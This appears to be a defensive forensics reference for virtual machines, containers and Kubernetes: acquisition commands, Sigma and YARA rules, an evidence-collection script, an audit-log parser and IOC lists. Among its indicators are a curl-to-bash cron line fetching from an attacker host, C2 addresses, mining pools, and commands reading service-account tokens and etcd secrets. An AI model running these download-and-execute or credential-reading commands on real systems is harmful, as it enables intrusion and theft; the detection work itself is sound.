虚拟化与云原生取证深度分析

qemu-img info /var/lib/libvirt/images/vm-disk.qcow2
qemu-img snapshot -l /var/lib/libvirt/images/vm-disk.qcow2
qemu-img snapshot -a snapshot-name /var/lib/libvirt/images/vm-disk.qcow2
qemu-img convert -f qcow2 -O raw /var/lib/libvirt/images/vm-disk.qcow2 /evidence/vm-raw.dd

xl list -l
xl save <domid> /evidence/vm-state.sav
xl dump-core <domid> /evidence/vm-core.dump

Get-VM -Name "TargetVM" | Checkpoint-VM -SnapshotName "ForensicSnapshot_$(Get-Date -Format 'yyyyMMdd_HHmmss')"
Get-VMSnapshot -VMName "TargetVM" | Export-VMSnapshot -Path "E:\Evidence\"

sudo LiME/src/liME 64 /dev/lime format=lime -o /evidence/host-memory.lime

sudo volatility3 -f /evidence/host-memory.lime --profile LinuxProfile linux.pslist
sudo volatility3 -f /evidence/host-memory.lime --profile LinuxProfile linux.bash
sudo volatility3 -f /evidence/host-memory.lime --profile LinuxProfile linux.check_syscall

qemu-img info -f qcow2 /evidence/vm-disk.qcow2
qemu-img compare -f qcow2 -f qcow2 /evidence/snap1.qcow2 /evidence/snap2.qcow2

guestfish --rw -a /evidence/vm-disk.qcow2 -i
> list-filesystems
> mount /dev/sda1 /
> ls /etc/
> cat /etc/passwd
> download /var/log/syslog /evidence/syslog.txt

sudo losetup -fP /evidence/vm-disk.raw
sudo kpartx -av /dev/loop0
sudo mount /dev/mapper/loop0p1 /mnt/evidence

journalctl -u containerd --since "2026-07-01 00:00:00" --until "2026-07-10 23:59:59" > /evidence/containerd.log

sudo ctr -n k8s.io containers info <container-id>
sudo ctr -n k8s.io tasks list
sudo ctr -n k8s.io content ls
sudo ctr -n k8s.io snapshots info <snapshot-id>

ls -la /var/log/pods/<namespace>_<pod-name>_<pod-uid>/
cat /var/log/pods/<namespace>_<pod-name>_<pod-uid>/<container-name>/0.log
cat /var/log/pods/<namespace>_<pod-name>_<pod-uid>/<container-name>/0.log.gz

crane manifest <image:tag>
crane config <image:tag> | jq .
crane layers <image:tag>
crane export <image:tag> /evidence/image-rootfs.tar

docker history <image:tag> --no-trunc
docker inspect <image:tag> | jq '.[0].RootFS.Layers'
docker save <image:tag> -o /evidence/image.tar

cat /proc/1/cgroup
cat /proc/1/status | grep -i cap
ls -la /proc/1/ns/
mount | grep -E "(cgroup|overlay)"

cat /proc/self/status | grep -i seccomp
ls -la /dev/
stat /proc/sysrq-trigger

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["pods", "secrets", "serviceaccounts"]
    users: ["system:serviceaccount:default:default"]
  - level: Metadata
    resources:
      - group: "apps"
        resources: ["deployments", "replicasets"]
  - level: None
    users: ["system:kube-proxy"]
    verbs: ["watch"]

cat /var/log/kubernetes/audit/audit.log | jq 'select(.user.username == "system:anonymous")'
cat /var/log/kubernetes/audit/audit.log | jq 'select(.verb == "create" and .objectRef.resource == "secrets")'
cat /var/log/kubernetes/audit/audit.log | jq 'select(.responseStatus.code == 403)'

ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  snapshot save /evidence/etcd-snapshot.db

ETCDCTL_API=3 etcdctl snapshot status /evidence/etcd-snapshot.db --write-table
ETCDCTL_API=3 etcdctl snapshot restore /evidence/etcd-snapshot.db --data-dir=/evidence/etcd-restored

ETCDCTL_API=3 etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get / --prefix --keys-only | head -100

kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:anonymous")'
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name == "cluster-admin")'
kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

kubectl exec -it <pod-name> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl exec -it <pod-name> -- cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

kubectl logs <pod-name> -c istio-proxy --tail=10000 > /evidence/envoy-access.log

{
  "protocol": "HTTP/1.1",
  "upstream_host": "10.244.1.8:8080",
  "request_method": "POST",
  "request_uri": "/api/v1/admin/exec",
  "response_code": 200,
  "duration_ms": 1250,
  "request_headers": {
    "x-forwarded-client-cert": "By=spiffe://cluster.local/ns/default/sa/malicious-sa",
    "x-request-id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
  },
  "trace_id": "abc123def456"
}

kubectl get secret -n istio-system istio-ca-secret -o jsonpath='{.data.ca-cert\.pem}' | base64 -d > /evidence/istio-ca.crt

kubectl exec -it <pod-name> -c istio-proxy -- openssl s_client -connect <service>:8090 -showcerts

kubectl get virtualservice -A -o json | jq '.items[] | select(.spec.http[].mirror != null)'
kubectl get envoyfilter -A -o json | jq '.items[] | select(.spec.configPatches[].patch.value["@type"] | contains("Wasm"))'
kubectl logs -n istio-system <istiod-pod> | grep -i "wasm"

tcpdump -i eth0 -w /evidence/vxlan-traffic.pcap "udp port 4789"
tcpdump -i eth0 -w /evidence/geneve-traffic.pcap "udp port 6081"

sudo scapy -H
>>> from scapy.all import *
>>> pkt = rdpcap("/evidence/vxlan-traffic.pcap")
>>> for p in pkt:
...     if VXLAN in p:
...         inner = p[VXLAN].payload
...         print(f"VNI={p[VXLAN].vni} Inner={inner.summary()}")

ovs-ofctl dump-flows br-int
ovs-ofctl dump-flows br-int -O OpenFlow13
ovs-ofctl dump-aggregate br-int

ovs-vsctl show
ovs-vsctl list port
ovs-vsctl list interface
ovs-vsctl list mirror

ovs-ofctl dump-flows br-int | grep "cookie=0x0"
ovs-ofctl dump-flows br-int | grep "actions=normal"
ovs-ofctl dump-flows br-int | grep -E "(priority=0|table=0)"

title: Container Escape - Suspicious cgroup Release Agent Write
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects attempts to write to cgroup release_agent which is a common container escape technique
references:
  - https://attack.mitre.org/techniques/T1611/
author: Blue Team Forensics
date: 2026/07/10
tags:
  - attack.privilege_escalation
  - attack.t1611
logsource:
  product: linux
  service: syscall
detection:
  selection_write:
    syscall: 'write'
    path|contains: 'release_agent'
  selection_execve:
    syscall: 'execve'
    comm|contains: 'sh'
  filter_mainstream:
    comm|startswith: 'systemd-'
  condition: selection_write or (selection_execve and not filter_mainstream)
level: critical
falsepositives:
  - Legitimate cgroup management tools

title: Suspicious ServiceAccount Token Access in Container
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects direct access to Kubernetes ServiceAccount token from within a container
references:
  - https://attack.mitre.org/techniques/T1528/
author: Blue Team Forensics
date: 2026/07/10
tags:
  - attack.credential_access
  - attack.t1528
logsource:
  product: linux
  service: syscall
detection:
  selection:
    syscall: 'read'
    path|contains: '/var/run/secrets/kubernetes.io/serviceaccount/token'
  condition: selection
level: high
falsepositives:
  - Kubernetes SDK legitimate access
  - Service mesh sidecar proxy

title: Kubernetes Anonymous Authentication Success
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects successful API calls using anonymous authentication
references:
  - https://kubernetes.io/docs/reference/access-authn-authz/authentication/
author: Blue Team Forensics
date: 2026/07/10
tags:
  - attack.initial_access
  - attack.t1133
logsource:
  product: kubernetes
  service: audit
detection:
  selection:
    user.username: 'system:anonymous'
    responseStatus.code: 200
  condition: selection
level: medium
falsepositives:
  - Legitimate unauthenticated health checks

#!/bin/bash
EVIDENCE_DIR="/evidence/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE_DIR"/{containerd,kubernetes,network,system}

echo "=== Containerd State ===" > "$EVIDENCE_DIR/containerd/state.txt"
ctr -n k8s.io containers list >> "$EVIDENCE_DIR/containerd/state.txt" 2>&1
ctr -n k8s.io tasks list >> "$EVIDENCE_DIR/containerd/state.txt" 2>&1

echo "=== Containerd DB ==="
cp /var/lib/containerd/io.containerd.metadata.v1.bolt/meta.db "$EVIDENCE_DIR/containerd/" 2>/dev/null

echo "=== Kubernetes Pods ===" > "$EVIDENCE_DIR/kubernetes/pods.txt"
kubectl get pods -A -o wide >> "$EVIDENCE_DIR/kubernetes/pods.txt" 2>&1

echo "=== Pod Executions ===" > "$EVIDENCE_DIR/kubernetes/exec.txt"
cat /var/log/kubernetes/audit/audit.log 2>/dev/null | \
  jq -r 'select(.verb == "create" and .objectRef.resource == "pods/exec") | .user.username + " " + .objectRef.namespace + "/" + .objectRef.name + " " + .stageTimestamp' \
  >> "$EVIDENCE_DIR/kubernetes/exec.txt" 2>&1

echo "=== Network Connections ===" > "$EVIDENCE_DIR/network/connections.txt"
ss -tlnp >> "$EVIDENCE_DIR/network/connections.txt" 2>&1
ss -unlp >> "$EVIDENCE_DIR/network/connections.txt" 2>&1

echo "=== OVS Flows ===" > "$EVIDENCE_DIR/network/ovs-flows.txt"
ovs-ofctl dump-flows br-int >> "$EVIDENCE_DIR/network/ovs-flows.txt" 2>&1

echo "=== Cgroup Anomalies ===" > "$EVIDENCE_DIR/system/cgroup.txt"
find /sys/fs/cgroup -name "release_agent" -exec cat {} \; >> "$EVIDENCE_DIR/system/cgroup.txt" 2>&1

echo "=== Process Tree ===" > "$EVIDENCE_DIR/system/procs.txt"
ps auxf >> "$EVIDENCE_DIR/system/procs.txt" 2>&1

echo "=== Kernel Messages ===" > "$EVIDENCE_DIR/system/dmesg.txt"
dmesg -T | tail -500 >> "$EVIDENCE_DIR/system/dmesg.txt" 2>&1

echo "Evidence collected to: $EVIDENCE_DIR"

#!/usr/bin/env python3
import json
import sys
from collections import defaultdict
from datetime import datetime

def parse_audit_log(log_path):
    suspicious_events = []
    user_activity = defaultdict(list)
    secret_accesses = []
    failed_auths = []

    with open(log_path, 'r') as f:
        for line in f:
            try:
                event = json.loads(line.strip())
            except json.JSONDecodeError:
                continue

            user = event.get('user', {}).get('username', 'unknown')
            verb = event.get('verb', '')
            resource = event.get('objectRef', {}).get('resource', '')
            namespace = event.get('objectRef', {}).get('namespace', '')
            code = event.get('responseStatus', {}).get('code', 0)
            ts = event.get('stageTimestamp', '')
            source_ip = event.get('sourceIPs', ['unknown'])[0]

            user_activity[user].append({
                'verb': verb,
                'resource': resource,
                'namespace': namespace,
                'code': code,
                'timestamp': ts,
                'source_ip': source_ip
            })

            if resource == 'secrets' and verb in ('get', 'list', 'watch'):
                secret_accesses.append({
                    'user': user,
                    'verb': verb,
                    'namespace': namespace,
                    'timestamp': ts,
                    'source_ip': source_ip
                })

            if code == 403:
                failed_auths.append({
                    'user': user,
                    'resource': resource,
                    'namespace': namespace,
                    'timestamp': ts,
                    'source_ip': source_ip
                })

            if user == 'system:anonymous' and code < 400:
                suspicious_events.append({
                    'type': 'ANONYMOUS_ACCESS',
                    'user': user,
                    'verb': verb,
                    'resource': resource,
                    'code': code,
                    'timestamp': ts,
                    'source_ip': source_ip,
                    'severity': 'HIGH'
                })

            if verb == 'create' and resource == 'pods/exec':
                suspicious_events.append({
                    'type': 'POD_EXEC',
                    'user': user,
                    'namespace': namespace,
                    'timestamp': ts,
                    'source_ip': source_ip,
                    'severity': 'HIGH'
                })

    return {
        'suspicious_events': suspicious_events,
        'user_activity': dict(user_activity),
        'secret_accesses': secret_accesses,
        'failed_auths': failed_auths
    }

def print_report(results):
    print("=" * 80)
    print("KUBERNETES AUDIT LOG ANALYSIS REPORT")
    print("=" * 80)

    print(f"\n[SUSPICIOUS EVENTS] Count: {len(results['suspicious_events'])}")
    for evt in results['suspicious_events']:
        print(f"  [{evt['severity']}] {evt['type']} @ {evt['timestamp']}")
        print(f"    User: {evt['user']} | Source: {evt['source_ip']}")

    print(f"\n[SECRET ACCESSES] Count: {len(results['secret_accesses'])}")
    for acc in results['secret_accesses']:
        print(f"  {acc['user']} {acc['verb']} secrets in {acc['namespace']} @ {acc['timestamp']}")

    print(f"\n[FAILED AUTHORIZATIONS] Count: {len(results['failed_auths'])}")
    top_failures = defaultdict(int)
    for auth in results['failed_auths']:
        top_failures[auth['user']] += 1
    for user, count in sorted(top_failures.items(), key=lambda x: -x[1])[:10]:
        print(f"  {user}: {count} failures")

    print(f"\n[USER ACTIVITY SUMMARY]")
    for user, activities in sorted(results['user_activity'].items(), key=lambda x: -len(x[1])):
        print(f"  {user}: {len(activities)} API calls")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <audit-log-path>")
        sys.exit(1)
    results = parse_audit_log(sys.argv[1])
    print_report(results)

rule Container_Malicious_Dropper {
    meta:
        author = "Blue Team Forensics"
        description = "Detects common container malicious dropper patterns"
        date = "2026/07/10"
        reference = "https://attack.mitre.org/techniques/T1059/"
    strings:
        $cgroup1 = "/sys/fs/cgroup" ascii
        $release_agent = "release_agent" ascii
        $docker_sock = "/var/run/docker.sock" ascii
        $proc_sys = "/proc/sysrq-trigger" ascii
        $nested1 = "nsenter" ascii
        $nested2 = "unshare" ascii
        $curl_pipe = /curl\s+.*\|\s*(ba)?sh/ ascii
        $wget_pipe = /wget\s+.*\|\s*(ba)?sh/ ascii
        $miner1 = "stratum+tcp://" ascii
        $miner2 = "stratum+ssl://" ascii
    condition:
        3 of them
}

rule Container_Kubernetes_Credential_Theft {
    meta:
        author = "Blue Team Forensics"
        description = "Detects Kubernetes credential theft patterns in container context"
        date = "2026/07/10"
    strings:
        $sa_token = "/var/run/secrets/kubernetes.io/serviceaccount" ascii
        $kubeconfig = "/etc/kubernetes/admin.conf" ascii
        $etcd_cert = "/etc/kubernetes/pki/etcd/" ascii
        $kubectl = "/usr/local/bin/kubectl" ascii
        $kube_api = "kubernetes.default.svc" ascii
        $token_request = "/apis/authentication.k8s.io/v1/tokenrequests" ascii
        $base64_decode = "base64 -d" ascii nocase
        $jq_filter = "jq -r" ascii
    condition:
        3 of them
}

malicious_images:
  - "digmine/xmrig"
  - "teamtnt/redteamshell"
  - "teamtnt/iptables"
  - "hackingteam/rootkit"
stratum_pool:
  - "stratum+tcp://xmr.pool.minergate.com:45560"
  - "stratum+ssl://pool.supportxmr.com:443"
wallet_addresses:
  - "48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt5"
c2_domains:
  - "teamtnt.team"
  - "airshellenterprize.pw"
  - "ddos.naflogy.com"
suspicious_cron:
  - "*/10 * * * * curl -sL http://45.xx.xx.xx/hidden.sh | bash"
  - "0 * * * * docker run --rm -d digmine/xmrig"

malicious_files:
  - "meoow"
  - "meoow.sh"
  - "xmrig"
  - "xmr-stak"
dns_domains:
  - "teamtnt.team"
  - "airesei.pw"
  - "blastrac.com"
  - "173.249.218[.]49"
ip_addresses:
  - "173.249.218.49"
  - "91.215.85.142"
c2_urls:
  - "http://173.249.218.49/meoow"
  - "http://173.249.218.49/meoow.sh"
mining_pool:
  - "pool.minexmr.com:4444"
  - "xmr-usa.dwarfpool.com:8050"
process_names:
  - "xmrig"
  - "xmr"
  - "meoow"
  - "kdevtmpfsi"